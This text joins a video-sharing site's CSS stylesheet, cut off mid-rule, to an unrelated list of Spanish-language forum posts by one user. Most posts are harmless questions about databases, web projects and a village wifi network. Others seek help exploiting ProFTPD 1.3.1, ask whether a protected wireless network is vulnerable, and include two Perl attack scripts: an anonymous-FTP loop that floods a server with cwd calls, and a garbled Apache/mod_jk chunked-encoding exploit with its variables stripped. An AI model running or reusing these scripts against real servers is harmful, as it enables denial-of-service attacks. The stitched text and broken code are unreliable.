.arrow_pointing,.edit_icon,.delete_icon,.reply_icon{background-image:url(../images/icons.png); background-repeat:no-repeat; }
.reply_icon,.edit_icon,.delete_icon{height:15px; width:15px; }
.delete_icon{background-position:-0px -63px }
.edit_icon{background-position:-15px -63px }
.reply_icon{background-position:-30px -63px }

.video_control{font-weight:normal; margin-left:10px; font-size:10px}
.arrow_pointing{background-position:-0px -78px; width:24px; height:14px;}



/***
 BUTONS
 ***/
 
.cbSubmitUpload,.cb_button,.cb_button_2,.small_button{background:url(../images/buttons.png)}

.cbSubmitUpload,.cb_button,.cb_button_2{display:inline-block;height:31px; width:135px; color:#fff; line-height:31px; text-align:center; font-size:14px; font-weight:bold; border:none; font-family:Arial, Helvetica, sans-serif; cursor:pointer}
.cbSubmitUpload:hover,.cb_button:hover,.cb_button_2:hover{background-position:-0px -31px}
.cbSubmitUpload,.cb_button_2{font-size:12px}

input[disabled].cbSubmitUpload{ background:#f2f2f2; cursor:default; color:#999; border:1px solid #ccc; font:normal 11px Tahoma;}



.small_button{display:inline-block;height:21px; width:94px; color:#fff; text-align:center; font-size:11px; font-weight:bold; border:none; font-family:Arial, Helvetica, sans-serif; cursor:pointer; background-position:-0px -62px}
.small_button:hover{background-position:-0px -83px}
.non_button{line-height:21px}

/**
 * Categories
 */
 
/*.category_list{display:block; width:180px; margin:0px 5px 5px 5px; float:left}

.category_list .categories{padding:0px; background:#efefef;border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px}
.categories ul{margin:0px; padding:0px}
.categories ul li{padding:0px; margin:0px; position:relative; }
.categories ul li{list-style:none; display:block; margin-bottom:6px;}
.categories ul li:last-child{border-bottom:none}
.categories .selected { background-color:#ccc; display:block;border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px}
.categories ul a{font:bold 14px arial;color:#0066cc; text-decoration:none; display:block; padding:4px 15px; }
.categories ul.sub_categories { padding:0px; margin:0px 0px 0px 0px; background:white; }
.categories ul.sub_categories li { padding:1px; margin:0px; }
.categories ul.sub_categories li a { font:bold 11px Tahoma; }*/

.category_list { float:left; width:180px; margin:0px 5px 5px; }
.category_list .categories { background:#fff; overflow:visible; }
.categories ul, .categories li { padding:0px; list-style:none; overflow:visible; margin:0px}
.categories li { display:block; position:relative; padding:3px 0px}
.categories li a { display:block; font:bold 13px Arial;  text-decoration:none; overflow:visible; color:#222}
.categories .selected, .categories ul.sub_categories .selected { color:#0066cc; }
.categories  a:hover, .categories .selected > a, .categories ul.sub_categories .selected > a { color:#0066cc; }

.categories ul.sub_categories { background:white; padding:0px 0px; border-bottom:1px solid #ddd; padding-left:5px}
ul.sub_categories ul.sub_categories{border:none}
.categories ul.sub_categories li { padding:3px 0px }
.categories ul.sub_categories a { font-size:12px; font-weight:normal; color:#333; padding-left:3px 5px}

.categories ul.sub_categories ul.sub_categories a { padding:3px 10px; }

.categories li:first-child.selected { -moz-border-radius:5px 5px 0 0; }
.categories li:last-child.selected { -moz-border-radius: 0 0 5px 5px }

.categories ul.sub_categories li:first-child.selected { -moz-border-radius:0px; }
.categories ul.sub_categories li:last-child.selected { -moz-border-radius: 0px }

.sort_cont,.cat_heading{border-bottom:3px #d4d4d4 solid; font-size:15px; font-weight:bold; font-family:Arial; display:block; padding-bottom:3px; margin-bottom:3px}
.time_cont{border-bottom:1px solid #CCC; margin-bottom:5px; padding:5px; font-size:10px}
.time_cont a{ font-size:10px; color:#666; text-decoration:none}
.time_cont .selected{font-weight:bold}

.sort_cont ul{display:inline-block}
.sort_cont ul,.sort_cont ul li{margin:0px; padding:0px}
.sort_cont li{float:left; list-style:none; height:18px; line-height:18px;}
.sort_cont a{font-weight:bold; color:#000; padding:0px; margin:0px; height:15px; line-height:15px; text-decoration:none; display:block; padding:0px 5px; border-right:1px  #CCC solid; margin-top:1px; color:#333}
.sort_cont li:last-child a{border:none}
.sort_cont .selected a, .sort_cont a:hover{color:#0066cc}
/**
 * Ad Box
 */
.vert_add_box{display:block; width:180px; margin:0px 5px 5px 5px; float:left}



/**
 * Pagination Class
 */
.pagination
{
   height:23px;
   width:99%;
   margin:auto;
   line-height:23px;
   color:#000;font-weight:bold; font-size:12px; font-family:Arial, Helvetica, sans-serif;
}


.pagination a,.pagination .selected{
-moz-border-radius:5px;
border-radius: 5px;
-webkit-border-radius: 5px;
display:inline-block; padding:0 3px; height:18px; line-height:18px; text-align:center; background-image:url(../images/nav_grads.png); background-position:-0px -223px; border:1px solid #CCC; text-decoration:none}

.pagination .selected{ background-position:-0px -241px; color:#fff; border-color:#0066cc}

/**
 * Watch Video CSS
 */
 
.vid_top_container{position:relative; margin-bottom:10px; padding-left:10px}
.hq_button_cont{position:absolute; left:620px; bottom:0px}
.watch_left{width:670px; float:left; padding:5px; padding-top:0px; }
.video_title{font-size:18px; font-weight:bold; font-family:arial}
.watch_right{width:310px; float:right; padding-left:5px; display:block}
.player_container{display:block; background-color:#ffffff;  padding:8px}

.video_actions_cont{margin-top:10px}

.add_to_fav,.report_this,.share_this,.add_to_play,.photo_embed_code{height:20px; width:20px}
.add_to_fav{background-image:url(../images/icons/heart_small.png);}
.report_this{background-image:url(../images/icons/report_small.png);}
.share_this{background-image:url(../images/icons/share_small.png);}
.add_to_play{background-image:url(../images/icons/playlist_small.png); }
.photo_embed_code { background-image:url(../images/icons/embed_small.png);}

.video_actions_cont .rating_container{ float:left}

.video_actions_cont .actions{margin-top:10px; float:right}
.video_actions_cont .actions ul{margin-top:10px}
.video_actions_cont .actions ul, .video_actions_cont .actions ul li{margin:0px; padding:0px;}
.video_actions_cont .actions li{ display:block;list-style:none; height:20px; line-height:20px; display:block; float:left;}
.video_actions_cont .actions a{color:#333; font-weight:bold; font-size:14px; display:block; margin-right:18px; text-decoration:none}
.video_actions_cont .actions a:hover{text-decoration:underline}
.video_actions_cont .actions a img{margin-right:5px; float:left; border:none; }

.watch_collect_item{margin:5px; margin-top:0px; border-bottom:1px solid #CCC; padding-bottom:5px}
.watch_collect_item a{font-size:12px; font-weight:bold; text-decoration:none}

.playlist_item,.add_comment_box .input,.add_comment_box,.comment,.video_details,.form_container .form_result,.action_box{border-radius:10px;-moz-border-radius:10px;-khtml-border-radius:10px;-webkit-border-radius:10px; background-color:#F0F0F0; padding:10px}
.action_box{ margin:5px 0px;}
.action_box .action_box_title{color:#333; font-size:16px;font-weight:bold; text-transform:uppercase; font-family:arial; border-bottom:1px solid #CCC}
.form_container{border-top:1px solid #fff; padding-top:10px; font-size:11px}
.form_container .form_left{width:100%}
.form_container form{ margin:0px; padding:0px}
.form_container label{ display:block; font-size:11px; font-weight:bold; color:#333;margin-bottom:5px;}
.form_container label .example{font-weight:normal; }
.form_container .left_text_area{width:98%; border:1px #CCC solid; padding:3px; margin-bottom:5px}
.form_container .form_result{border:1px solid #0099cc; margin:5px; padding:5px;}
.action_box .error{color:#ed0000}
.action_box .msg{color:#0099cc}
.action_box .cancel a{font-size:10px; font-weight:bold; color:#333; text-decoration:none; }
.form_container select{border:1px solid #999; padding:2px; margin:5px}

.ajaxMessages {border-radius:6px;-moz-border-radius:6px;-khtml-border-radius:6px;-webkit-border-radius:10px; background:url(../images/simple_gradient.png) bottom repeat-x; padding:6px; font:bold 11px Tahoma; margin-bottom:10px; }
.ajaxMessages.msg { color:#0099cc; border:1px solid #0099cc; }
.ajaxMessages.err { color:#ed0000; border:1px solid #ed0000; }
 
.video_details{background:#fff url(../images/watch_video_details_bg.png) repeat-x bottom; border:1px solid #eee; margin-top:10px;}
.video_details .vd_user_container{margin-right:10px; float:left; width:120px;}
.video_details .vd_details{float:right; display:block; width:510px; z-index:10; font-size:11px; color:#333;}
.video_details .vd_stats{background-color:#333;border-radius:5px;-moz-border-radius:5px;-khtml-border-radius:5px;-webkit-border-radius:5px; padding:5px; margin-bottom:10px; color:#fff}

.vd_stats{ overflow:hidden; }
.video_details .vd_stats ul{position:relative; left:50%; float:left;}
.video_details .vd_stats ul{margin:0px; padding:0px; list-style:none}
.vd_stats li{float:left;display:block;font-size:11px;margin-right:15px;position:relative;right:50%; font-family:tahoma;padding:0px; list-style:none}
.vd_details .uploading_detail{padding:5px; padding-left:0px;}
.vd_details .uploading_detail a,.vd_details .uploading_detail{font-size:14px; font-family:arial; color:#333; cursor:pointer; font-weight:bold; text-decoration:none}
.vd_details .uploading_detail a:hover,.vd_details .uploading_detail:hover{color:#09c}

.vd_details .tags_cats{border-top:1px solid #ccc; padding:5px; margin-top:10px}
.tags_cats .tags{background-image:url(../images/tag_blue.png); background-repeat:no-repeat; line-height:15px; padding-left:20px}
.tags_cats .tags a{text-decoration:none; font-weight:bold; font-size:10px }
.tags_cats .category{margin-top:5px;font-weight:bold; font-size:11px}.tags_cats .category a{text-decoration:none; font-weight:bold; font-size:11px }
.vd_user_container .account_thumb{max-height:160px; max-width:120px;}
.vd_user_container ul{margin:0px; padding:0px; margin-bottom:5px}
.vd_user_container ul li{list-style:none; display:block; padding:0px; margin:0px}
.vd_user_container a{text-decoration:none; font-size:11px; color:#333}
.vd_user_container a:hover{color:#0099cc}

.comment{ background:#fff url(../images/watch_video_details_bg.png) repeat-x; background-position:bottom; min-height:60px; padding:5px; border:1px solid #eee; font-family:tahoma; font-size:11px; margin-bottom:10px; }
.comment .user_com_thumb{ float:inherit; max-width:60px; max-height:80px; border:2px solid #fff; margin:0px;}
.comment .user_com_thumb_con{ float:left; margin:0px; }
.comment .comm_other{float:right; width:89.5%; }
.comment .user_bar{background:url(../images/nav_grads.png) 0px -240px repeat-x; height:18px; line-height:18px; padding:0px 5px 0px 5px; width:auto; }
.comment .user_bar, .comment .user_bar a{color:#fff; font-size:11px; text-decoration:none;}
.comment .comment_cont{float:left; width:515px; padding:3px;}
.comment .comment_rating_cont{ float:right; width:45px; margin-top:10px}
.comment .comment_rating_cont .comment_rating{font-size:16px; font-weight:bold;font-family:arial; text-align:center; display:block}
.comment .thumb_down{background:url(../images/up_down.png) ; width:19px; height:16px; display:inline-block; text-indent:-50000px; margin-right:0px; cursor:pointer; background-position:-21px 1px}
.comment .thumb_down:hover{background-position:-21px -16px}
.topic_comments .comment .comm_other{float:right; width:93%; }
.topic_comments .comment .comment_cont{ width:auto; max-width:835px; }

.add_comment_result .error{color:#ed0000; padding:3px; border:1px solid #ed0000; margin:3px 0px}
.no_comments{ display:block; padding:5px; font-size:13px; font-weight:bold; margin:5px; border:1px solid #8F8059; background-color:#FFF6DF }
h2.commentHead{ padding-left:30px; background-image:url(../images/icons/comments_small.png); background-repeat:no-repeat; margin-bottom:0px; padding-bottom:5px}

.comment .thumb_up{background:url(../images/up_down.png) ; width:19px; height:16px; display:inline-block; text-indent:-50000px; margin-right:0px; cursor:pointer;background-position:-0px 1px}
.comment .thumb_up:hover{background-position:-0px -16px}
.desc_cont{}
.upper_quote{background-image:url(../images/icons.png); background-position:0px -125px; height:32px; width:34px; display:inline-block; }
.lower_quote{background-image:url(../images/icons.png); background-position:0px -161px; height:32px; width:34px; display:inline-block; }

.add_comment_box{background-color:#f0f0f0}
.add_comment_box .input{ border:1px solid #CCC; background-image:url(../images/watch_video_details_bg.png); background-position:10px; padding:5px; width:400px; background-repeat:repeat-x}

#collectionComments .comment .comm_other{width:86%; }

.cb_warning,.cb_error,.cb_message{border-radius:10px;-moz-border-radius:10px;-khtml-border-radius:10px;-webkit-border-radius:10px; padding:5px; border:1px #0099cc solid; margin:5px;background-image:url(../images/watch_video_details_bg.png); background-position:10px}
.cb_warning ul,.cb_error ul,.cb_message ul{display:block; margin:0px; padding:0px; padding-left:10px;}
.cb_warning ul li,.cb_error ul li,.cb_message ul li{border-left:3px solid #ccc; list-style:none; padding-left:10px; cursor:pointer}
.cb_error ul li{ color:#ed0000}
.cb_message ul li{ color:#0099cc}
.cb_warning ul li {color:#0066cc;border-left:none}
.cb_error ul li:hover{border-color:#ed0000}
.cb_message ul li:hover{border-color:#0099cc}

.watch_video_box{width:90px; margin:2px 4px 0px 4px; float:left; height:110px; overflow:hidden}
.watch_video_box{ color:#999; font-size:10px;}
.watch_video_box a{font-size:10px; text-decoration:none; font-weight:bold;}
.watch_video_box .watch_video_box_thumb{border:1px solid  #999; padding:2px; display:inline-block; margin:auto; position:relative}
.watch_video_box_thumb .duration{background-color:#333; color:#fff; font-size:8px; padding:1px; position:absolute; right:2px; bottom:2px}

.watch_vids_head,.watch_vids_head_closed{background-image:url(../images/watch_video_bars.png); width:270px; height:26px; background-repeat:no-repeat; display:block; padding-left:30px; line-height:26px; color:#fff; font-size:14px; color:#fff; font-weight:bold; margin-top:10px; cursor:pointer;background-position:0px -26px;}
.watch_vids_head_closed{ background-position:0px -0px; color:#0099cc}

.watch_vids_cont{width:300px; overflow:hidden; padding-bottom:10px; margin-bottom:10px; border-bottom:1px solid #CCC; padding-top:10px}

.playlist_item{padding:5px; margin:3px 0px 3px  0px; height:30px;}
.playlist_item .pl_num{ width:25px; text-align:center; float:left; line-height:30px; height:30px;font-size:10px; color:#666}
.playlist_item .pl_thumb{width:45px; height:27px; border:2px solid #999;float:left; margin-right:5px }
.playlist_item .pl_details{font-size:10px; width:160px; float:left; cursor:pointer}
.playlist_item .pl_details a{font-size:10px; color:#0099cc; text-decoration:none; font-weight:bold}
.playlist_item .pl_duration{font-size:10px; color:#666; float:left}
.playlist_item .pl_delete{font-size:10px; color:#666;float:right}


.videosharing{width:280px;}
.videosharing input{border:1px solid #999; color:#999; font-size:10px}

.user_block_small{width:70px; height:80px; margin:3px; float:left; padding:5px; font-size:10px; border:1px solid #CCC}
.user_block_small a{font-size:11px; font-weight:bold}
.user_mid_thumb{width:60px; height:60px;display:inline; border:1px solid #999; padding:2px;}

/** UPLOAD CSS **/
.upload_left{width:675px; float:left; padding:0px 5px}
.upload_opt,.upload_left .upload_info{ background:#fff url(../images/simple_gradient.png) repeat-x bottom;border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px; padding:5px; border:1px solid #ccc;}
.upload_right{width:300px; float:right; margin-right:10px}
.upload_right .instructions{background:#fff url(../images/simple_gradient.png) repeat-x bottom; border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px; padding:5px; border:1px solid #f0f0f0; }


.upload_form{padding:0px; margin:0px;}
.upload_form fieldset{padding:5px; border:none; }
.upload_form fieldset .form_head{display:block; background-color:#0099cc; padding:3px; color:#fff; font-size:13px; font-weight:bold; font-family:Arial, Helvetica, sans-serif; margin-bottom:10px}

.upload_form .label{cursor:pointer; display:block; font-size:14px; text-transform:uppercase; font-family:Arial, Helvetica, sans-serif; font-weight:bold; margin-bottom:2px}
.upload_form input[type=text],.upload_form input[type=textfield],.upload_form textarea{border:1px solid #999; width:400px; resize:auto; }
.upload_form .field{margin-bottom:10px}
.upload_form .hint{font-size:11px}
.upload_form label{cursor:pointer}

.more_button,.more_button_up {display:block; border-bottom:1px #CCC solid; border-top:1px #CCC solid; color:#999; background:#fff url(../images/nav_grads.png) no-repeat right -441px; padding:2px; height:13px }
.more_button_up{ background-position:right -458px}
.more_button_up a,.more_button a{color:#333; text-decoration:none; font-weight:bold; font-family:Arial, Helvetica, sans-serif;font-size:11px; display:block}.more_button_up a,.more_button a:hover{color:#0099cc}

ul.upload_opts { list-style:none; margin:0px; padding:0px; }
ul.upload_opts li { padding:8px; margin:0px 10px; top:1px; position:relative; border:1px solid transparent; }
ul.upload_opts li:hover { color:#0099cc; cursor:pointer; }
ul.upload_opts li.selected { cursor:pointer; background:none; border:1px solid; border-color:#bbb #ccc #fff; color:#0099cc; -moz-border-radius:5px 5px 0px 0px; -webkit-border-top-left-radius:5px; -webkit-border-top-right-radius:5px; border-radius:5px 5px 0px 0px; }
.upload_opt{  margin-bottom:10px }
.upload_opt_head{ font-size:14px; font-weight:bold; font-family:Arial, Helvetica, sans-serif; }
.swfupload{margin:0px; margin-bottom:-5px}

.upload_form_div{ margin:3px; border:1px solid #EAEAEA; background:#FFF; padding:4px; }
.progressWrapper { padding:8px; background:#d6f1ff; border:1px solid #0099ff; margin-top:5px;}
.progressBarStatus { padding:2px; font-size:10px; font-weight:bold; }
.divStatus{font-weight:bold; }

.upload_link_button ul{margin:0px; padding:0px; display:block; padding:4px; margin-top:10px}
.upload_link_button ul li{list-style:none; float:left; display:block; margin-right:10px}
.upload_link_button a{text-decoration:none}

/** SIGNUP CSS **/
.signup_left{width:480px; float:left; padding:5px; padding-left:15px}
.signup_right{width:480px; float:right;padding:5px; padding-right:15px}
.signup_container{background:#FFF url(../images/simple_gradient.png) repeat-x bottom;border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px; padding:5px; border:1px solid #f0f0f0;}
.signup_container .label{ width:170px; float:left; text-align:right; margin-right:5px}
.signup_container .input_container{float:left; width:220px; margin-bottom:5px}
.signup_container input[type=textfield],.signup_container input[type=text],.signup_container input[type=password]{width:220px; border:1px solid #999;}
.signup_container .hint{display:block; font-size:11px}


/**
 * Channel and user
 */
.user_block{ display:block; width:120px; height:180px; float:left; margin:10px; font-size:10px}
.user_block_med{display:block; width:80px; height:130px; float:left; margin:0px 10px 10px 0px; font-size:10px}
.user_block .thumb_container,.user_block_med .thumb_container_medium{ width:120px; height:120px; overflow:hidden; border:1px solid #99ccff; padding:1px; display:inline-table; vertical-align:middle}.user_block_med .thumb_container_medium{width:80px; height:80px}
.user_thumb_normal{width:120px; height:120px}
.user_thumb_medium{width:80px; height:80px}
.prof_title a{font-weight:bold; text-decoration:none}



/**
 * QUCKLIST ICON
 */
.cross_icon,.check_icon,.add_icon{background-image:url(../images/icons/quicklist_small.png); height:14px; width:14px; background-repeat:no-repeat; cursor:pointer;position:absolute; left:2px; bottom:2px;}
.check_icon{background-image:url(../images/icons/quicklist_check_small.png); }
.cross_icon{ background-image:url(../images/icons/cross.png);position:relative; z-index:10}
.private_video{background-image:url(../images/private.png); width:110px; height:66px;position:absolute; top:2px; left:2px; border:0px}
.quicklist_box{bottom:0px; right:0px; padding:5px; background-color:#333; width:300px; color:#fff; position:fixed; z-index:1000; border-radius:5px 5px 0px 0px;-moz-border-radius:5px 5px 0px 0px;-webkit-border-radius:5px 5px 0px 0px}
.my_quicklist{max-height:325px; overflow:auto; padding-right:8px}
.quicklist_box_head{background-image:url(../images/simple_gradient.png); background-position:bottom; height:20px;border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px; padding:5px; line-height:20px; color:#333; font-size:11px; font-weight:bold}
.quicklist_box_head a{color:#0099cc; font-size:11px; font-weight:bold; text-decoration:none}

/** HQ BUTTONS **/
.hq_button_sel,.hq_button{background-image:url(../images/hq.png); width:49px; height:26px; background-position:top}
.hq_button_sel{background-position:bottom}


.simple_container{background:#fff url(../images/simple_gradient.png) bottom repeat-x; border:1px solid #999;border-radius:5px;-webkit-border-radius:5px;-moz-border-radius:5px; padding:5px; margin:5px}

.cbform .label{width:150px; float:left; display:block; text-align:right; margin-right:10px}
.cbform input[type=textfield],.cbform input[type=text]{border:1px solid #999; margin:0px; width:200px; float:left; margin-bottom:6px; height:23px; line-height:23px; padding-top:0px; padding-bottom:0px;}

.h2_inner_link,.h2_inner_link a{font-size:13px; font-family:Georgia, "Times New Roman", Times, serif; font-style:italic; text-decoration:none; color:#0099cc}




/**
 * Groups CSS
 */
.group_view{width:980px; margin:auto;}
.group_top_cont{background:#FFF url(../images/simple_gradient.png) repeat-x bottom; border:1px solid #f0f0f0; padding:5px;border-radius:5px; -moz-border-radius:5px; -webkit-border-radius:5px;}
.grp_left_column{float:left; width:150px; padding-right:10px}
.grp_right_column{float:right; width:800px;}
.group_thumb_cont{ margin:auto}
.group_thumb_cont img{border:#99ccff 2px solid;}
.group_title{display:block; background-color:#333; color:#fff;border-radius:5px; -moz-border-radius:5px; -webkit-border-radius:5px; padding:5px; font-size:14px; font-weight:bold; font-family:tahoma; margin-bottom:10px; padding-bottom:0px}

.group_details{}
.group_option_container{}
.group_option_container ul{margin:0px; padding:0px}
.group_option_container .grp_opt_title{background-color:#0066cc; color:#fff; display:block; padding:4px; margin-top:5px}
.group_option_container ul li{list-style:none;}
.group_detail_tabs{}
.group_detail_tabs ul{padding:0px; margin:10px 0px 0px 0px;}
.group_detail_tabs ul li{float:left; display:inline-block; padding:2px 5px; list-style:none; text-align:center; margin:0px 5px; border-bottom:none; cursor:pointer; font
3  Programación / Bases de Datos / Ayuda creación formulario registro. en: 19 Abril 2011, 15:52 pm
Buenas, me gustaría pedirles por favor me guiaran de como estructurar correctamente la BD para crear un formulario así:



¿Me recomiendan que cree una tabla solo para users (email, nick y password juntos), otra para los datos de localizacion por ejemplo "datos personales" o todo en una misma?.

Me gustaría que una vez almacenados los datos pudiera publicarlos en una especie de perfil de usuario.

Trabajo con Mysql administrado por phpmyadmin mediante xampp en su última versión.
4  Programación / Desarrollo Web / Ayuda formación web para construir un proyecto. en: 19 Abril 2011, 02:04 am
Buenas, me gustaría pedirles por favor que me recomendaran libros para aprender a construir de cero el siguiente site web:

Sería como una red social pero a pequeña escala para mi centro de estudios.

Se basaria en lo siguiente

Registro de usuarios.
Posibilidad de subir fotos.
Creación de grupos de amigos, donde puedan unirse y ser expulsados, así como que se pueda eliminar dicho grupo.
Creación de bloque de noticias en cada grupo, (Añadir articulos de texto junto con fotos)
Mensajería privada (Los usuarios podrán enviarse mensajes simultaneamente o bloquear los que no deseen).
Sistema de reportes, que envie un aviso a la administración, cuando se reporta a una persona.
Sistema para añadir comentarios en el perfil de los demas.
5  Seguridad Informática / Bugs y Exploits / Intentando Explotar bug ProFTPD 1.3.1 en maquina virtual Debian. en: 14 Marzo 2011, 16:08 pm
Buenas, estoy tratando de explotar el siguiente exploit en mi maquina virtual debian, pero no sé que caracteres especiales debería añadir, ¿Me podríais echar una mano?

Aquí la vuln.
http://www.securityfocus.com/bid/33650/info
6  Sistemas Operativos / GNU/Linux / Ayuda con proyecto red lan wifi en aldea. en: 31 Enero 2011, 15:17 pm
Buenas, hace un tiempo un portátil dejo de ser me útil y lo deje en un armario cogiendo polvo unos meses, pero se me a ocurrido instalarlo de nuevo para dar un servicio totalmente gratuito en mi aldea, de no más de 100 habitantes y un reducido radio.
La pregunta es ¿Alguien podría recomendarme buenos tutoriales y software, para hacer dicho servidor, el que estaría compuesto de una pagina web, la cual me gustaría añadir como pagina de inicio para todo aquel que se conectara a la red, en la cual, además de estar los datos de el médico y teléfonos de interes, metería también un chat y acceso a programas y archivos de todo tipo para que pudieran descargarlos, así como fomentar el uso del software libre etc.. ?

Muchas gracias.
7  Seguridad Informática / Hacking Wireless / Curiosa red WEP ¿nuevo tipo de seguridad? en: 7 Enero 2011, 23:33 pm
Buenas noches, hace unos minutos, mientras estaba detenido con mi coche en un pueblo alejado de la mano de dios, decidí utilizar mi móvil (Nokia N900) para ser más exactos y me puse a buscar redes.

Para mí sorpresa pude encontrar una WLAN_EIF o algo así pero sin duda lo que me llamó la atención no fue su ESSID sí no que en mi móvil aparecía con doble candado y un enunciado bajo su ESSID que rezaba algo como Secure "...." system o algo por el estilo.

Después de darle vueltas a la cabeza decidí ponerme a investigar y cual fue mi sorpresa que en dicho pueblo existe una centralita de telefónica, algo que me a dado que pensar, pues quien si no se tomaría tantas molestias en asegurar tanto su red en una aldea de no mas de 160 habitantes?.

Sí alguien sabe algo más por favor que no dude en colaborar, ¿Son vulnerables este tipo de redes?.

Nada chicos dejadlo caer, ya he leído por ahí que son WPA nuevos que esta poniendo timofonica
8  Foros Generales / Foro Libre / Algunas fotos del triunfo de España jijijiji en: 12 Julio 2010, 02:17 am




9  Programación / Scripting / ¿Alguien me puede decir que esta mal? [Perl][Solucionado] en: 25 Junio 2010, 03:26 am
El mensaje de error a compilar el archivo perl es este:
Código:
Name "main::perl" used only once: possible typo at roto2.pl line 4.
Use of uninitialized value $ARGV[0] in string at roto2.pl line 4.
Use of uninitialized value $ARGV[0] in concatenation (.) or string at roto2.pl line 4
Use of uninitialized value $perl in concatenation (.) or string at roto2.pl line 4.
Cannot connect to Host

y el codigo es:

Código:
#!/usr/bin/perl -w

use Net::FTP;
$ftp=Net::FTP->new("$ARGV[0]",Debug=>0) || die "Cannot connect to Host $ARGV[0]\n Usage: $perl script_name.pl target_ip\n";
$ftp -> login("anonymous","anonymous") || die "Could not Login...Retry";

while(1)
{
#this loop runs infinitely

$ftp -> cwd();
}

$ftp->quit;
10  Programación / Scripting / [?]Perl ¿Qué estoy haciendo mal? en: 15 Junio 2010, 14:12 pm
Buenas, según el compilador tengo el siguiente error en la siguiente linea:
Código:
syntax error at pruebaa.pl line 17, near "="

y aquí el codigo en cuestión:

Código:
#!/usr/bin/perl -w

use IO::Socket;

 "= Apache 1.3.x, Tomcat 4.x Server, mod_jk 1.2 using Apache Jserv
Protocol 1.3";

unless (@ARGV == 1) {
  print "\n By Sapient2003\n";
  die "usage: -bash <host to exploit>\n";
}
print "\n By Sapient2003\n";

 "= GET / HTTP/1.0\nHost: [0]\nTransfer-ENcoding:
Chunked\n53636f7474";

  = IO::Socket::INET->new(                          [Esta es la linea)))
        PeerAddr => [0],
        PeerPort => 69,
        Proto    => "udp",
) or die "Can't find host [0]\n";
print  ;
print "Attempted to exploit [0]\n";
close();
Páginas: [1] 2
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines